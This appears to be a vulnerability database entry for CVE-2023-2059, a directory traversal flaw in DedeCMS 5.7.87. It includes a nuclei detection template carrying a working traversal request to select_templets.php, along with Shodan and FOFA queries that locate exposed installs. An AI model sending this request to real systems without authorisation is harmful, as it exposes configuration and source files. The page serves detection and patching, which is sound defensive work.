HexBrain

Browse / CVEs / CVE-2023-2059

CVE-2023-2059· dedecms / dedecms· CWE-28

DedeCMS 5.7.87 - Directory Traversal

mediumseverity
5.3CVSS score
2.4%likelihood of exploitation, next 30 days
84%of all CVEs are less likely
Readycheck to confirm it

Directory traversal vulnerability in DedeCMS 5.7.87 allows reading sensitive files via the $activepath parameter.

Impact

Unauthenticated attackers can exploit directory traversal through the activepath parameter in select_templets.php to read sensitive DedeCMS configuration files and source code.

Fix

Update DedeCMS to a version newer than 5.7.87 that properly validates and sanitizes the activepath parameter in select_templets.php.

How to confirm it

Send: GET /include/dialog/select_templets.php?f=form1.templetactivepath=%2ftemplets/../..\..\..\
Positive when: contains "dirname(__FILE__)" and "$cfg_basedir" and "dedecms" AND status 200

Run it with nuclei: nuclei -id CVE-2023-2059 -u <target>

The full check
id: CVE-2023-2059

info:
  name: DedeCMS 5.7.87 - Directory Traversal
  author: pussycat0x
  severity: medium
  description: |
    Directory traversal vulnerability in DedeCMS 5.7.87 allows reading sensitive files via the $activepath parameter.
  impact: |
    Unauthenticated attackers can exploit directory traversal through the activepath parameter in select_templets.php to read sensitive DedeCMS configuration files and source code.
  remediation: |
    Update DedeCMS to a version newer than 5.7.87 that properly validates and sanitizes the activepath parameter in select_templets.php.
  reference:
    - https://github.com/ATZXC-RedTeam/cve/blob/main/dedecms.md
    - https://vuldb.com/?ctiid.225944
    - https://vuldb.com/?id.225944
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-2059
    cwe-id: CWE-28
    epss-score: 0.02406
    epss-percentile: 0.84204
    cpe: cpe:2.3:a:dedecms:dedecms:5.7.87:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: dedecms
    product: dedecms
    shodan-query:
      - http.html:"dedecms"
      - cpe:"cpe:2.3:a:dedecms:dedecms"
    fofa-query:
      - app="DedeCMS"
      - app="dedecms"
      - body="dedecms"
  tags: cve,cve2023,dedecms,lfi,vkev,vuln

http:
  - raw:
      - |
        GET /include/dialog/select_templets.php?f=form1.templetactivepath=%2ftemplets/../..\..\..\ HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "dirname(__FILE__)"
          - "$cfg_basedir"
          - "dedecms"
        condition: and
        case-insensitive: true

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from